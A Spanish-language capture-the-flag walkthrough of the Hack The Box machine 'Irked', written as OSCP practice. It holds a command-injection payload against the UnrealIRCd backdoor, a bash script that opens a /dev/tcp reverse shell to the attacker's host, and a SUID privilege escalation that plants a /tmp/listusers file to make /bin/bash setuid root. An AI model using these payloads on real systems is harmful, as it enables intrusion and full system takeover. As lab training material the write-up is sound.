OSCP Path ~ Irked Hack The Box (Necesario VIP)
Irked ~ Hack The Box to OSCP
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.117 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 44467/udp6 status
| 100024 1 49019/udp status
| 100024 1 54120/tcp6 status
|_ 100024 1 59106/tcp status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
59106/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Procedemos a comprobar el puerto http, en el que vemos una imagen, que procedemos a descargarnos y nos dice algo de IRC Vemos que el servicio irc corre en el puerto 6697, 8067 y 65534.
Porque no vamos a ver si encontramos con searchsploit algun recurso de utilidad para UnrealIRCd
buscamos por searchsploit UnrealIRCd
# searchsploit UnrealIRCd
------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
-------------------------------------------------------------------------------------------- ---------------------------------
Vemos que si tenemos cositas ` linux/remote/13853.pl` Intentamos hacer uso de exploit pero no resulta funcional. Asique procedemos a hecharle un ojo a lo que hace para intentar nosotros de forma manual probar a repetirlo.
Ganando Acceso atraves del IRC
# nc 10.10.10.117 6697 1 ⚙
:irked.htb NOTICE AUTH :*** Looking up your hostname...
Comando a injecctar en el IRC visto en exploit
AB; cd /tmp; ping -c 1 10.10.16.241
Tal que asi procedemos
# nc 10.10.10.117 6697
:irked.htb NOTICE AUTH :*** Looking up your hostname...
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
:irked.htb 451 AB; :You have not registered
AB; cd /tmp; ping -c 1 10.10.16.241 Lo injectamos una vez
:irked.htb 451 AB; :You have not registered
AB; cd /tmp; ping -c 1 10.10.16.241 Lo injectamos una 2veces
:irked.htb 451 AB; :You have not registered
AB; cd /tmp; ping -c 1 10.10.16.241 Lo injectamos una 3veces
:irked.htb 451 AB; :You have not registered
Nos ponemos a la escucha para ver si recibimos una trace icmp, para ello usamos la herramienta tcpdump
# tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:03:11.212428 IP 10.10.10.117 > 10.10.16.241: ICMP echo request, id 1402, seq 1, length 64
12:03:11.212438 IP 10.10.16.241 > 10.10.10.117: ICMP echo reply, id 1402, seq 1, length 64
12:03:17.879102 IP 10.10.10.117 > 10.10.16.241: ICMP echo request, id 1404, seq 1, length 64
12:03:17.879110 IP 10.10.16.241 > 10.10.10.117: ICMP echo reply, id 1404, seq 1, length 64
Vemos que lo recibimos correctamente. Por lo tanto ya que vemos que tenemos un RCE en las manos, procedo a realizarme un script para automatizarme la intrusion a la maquina victima
# cat AutoPwn_UnrealIRCd.sh 1 ⚙
#!/bin/bash
# Se necesita poner una session de nc a la escucha por el puerto que indiquemos
function ctrl_c(){
echo -e "\n[*] Saliendo ...\n"
exit 1
}
# Ctrl + C
trap ctrl_c INT
# ./exploit.sh
function helpPannel(){
echo -e "\n\n[!] Uso: $0 Ip Port\n"
exit 1
}
# Variables IP & PORT
ip=$1
port=$2
# Procedemos a ganar acceso al sistema
echo -e "\n[*] Ganando acceso al sistema 10.10.10.117 atraves del Servicio UnrealIRCd por el puerto 6697 desde la $ip estando a la escucha por el $port\n"
# Abrimos el servicio de UnrealIRCd con netcat para enviar nuestro comando
echo "AB; cd /tmp; bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'" | nc 10.10.10.117 6697
sleep 2
exit 0
Procedemos a ejecutarlo para con una session de netcat a la escucha por el puerto que queramos
# ./AutoPwn_UnrealIRCd.sh 10.10.16.241 443 1 ⚙
[*] Ganando acceso al sistema 10.10.10.117 atraves del Servicio UnrealIRCd por el puerto 6697 desde la 10.10.16.241 estando a la escucha por el 443
:irked.htb NOTICE AUTH :*** Looking up your hostname...
Recibimos la conexion entrante
# nc -vlnp 443
listening on [any] 443 ...
connect to [10.10.16.241] from (UNKNOWN) [10.10.10.117] 39968
bash: cannot set terminal process group (639): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:/tmp$
Realizamos un tratamiento de la tty Enumeramos el sistema en busca de la flag user.txt
ircd@irked:/home/djmardov/Documents$ ls -la
total 16
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
-rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
La encontramos y vemos que no podemos leer ya que pertenece al usuario djmardov
Tambien encontramos el archivo backup
, asique vamos a hecharle un ojo.
ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
Vemos que tenemos una passwd para steg, probamos a usarlo para la foto de portada de la web.
# steghide extract -sf irked.jpg 5 ⚙
Anotar salvoconducto:
anot� los datos extra�dos e/"pass.txt".
Verificamos el archivo pass.txt que se acaba de extraer
# cat pass.txt 5 ⚙
Kab6h+m+bbp2J:HG
Parece la password del usuario jmardov
probamos a conectarnos por ssh
# ssh djmardov@10.10.10.117 5 ⚙
djmardov@10.10.10.117's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$
Pillamos la primera flag.txt
djmardov@irked:~/Documents$ cat user.txt
4a66a78b12dc0e661a59xxxxxxxx
Enumeramos el sistema
# Find / -perm -4000 -type f 2>/dev/null
/usr/bin/viewuser
Encontramos este binario personalizado nos lo descargamos a nuestra maquina para hacerle un ltrace
para ver que esta haciendo
# ltrace ./viewuser
__libc_start_main(0x5659e57d, 1, 0xfff934f4, 0x5659e600 <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
) = 69
puts("It is still being actively devel"...It is still being actively developed
) = 37
system("who"pro tty7 2021-08-05 09:37 (:0)
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
setuid(0) = 0
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 32512
+++ exited (status 0) +++
Escalada de privilegios a root
Tras ver el funcionamiento del binario con permisos SUID que podemos ejecutar, vemos que hace un setuid(0) y luego prueba a ejecutar un archivo almacenado en la ruta /tmp/ llamado listuser. Como el archivo no existia le damos caña y lo creamos nosotros para que nos interprete los comandos que queramos cuando se ejecute el binario ./viewuser
djmardov@irked:/tmp$ ls
listusers
-rwxr-xr-x 1 djmardov djmardov 49 Aug 5 11:49 listusers
Metemos dentro de listusers:
djmardov@irked:/tmp$ cat listusers
#!/bin/bash
chmod 4755 /bin/bash
echo "Pwneado"
Procedemos a ejecutar el binario ./viewuser para qque nos interprete nuestro comandos en el archivo listuser
Acordarse de darle permisos de ejecucion con chmod +x
djmardov@irked:/usr/bin$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2021-08-05 10:35 (:0)
djmardov pts/1 2021-08-05 11:24 (10.10.16.241)
Pwneado
Verificamos que nos a ejecutado el comando introducido para darle permisos SUID a la /bin/bash7
djmardov@irked:/usr/bin$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1105840 Nov 5 2016 /bin/bash
Sacamos la flag de root
djmardov@irked:/$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
8d8e9e8be64654b6dccc3bxxxxxxxxxxxxx
Maquina Irked Pwneada =) Seguimos Full Hack Aprendiendo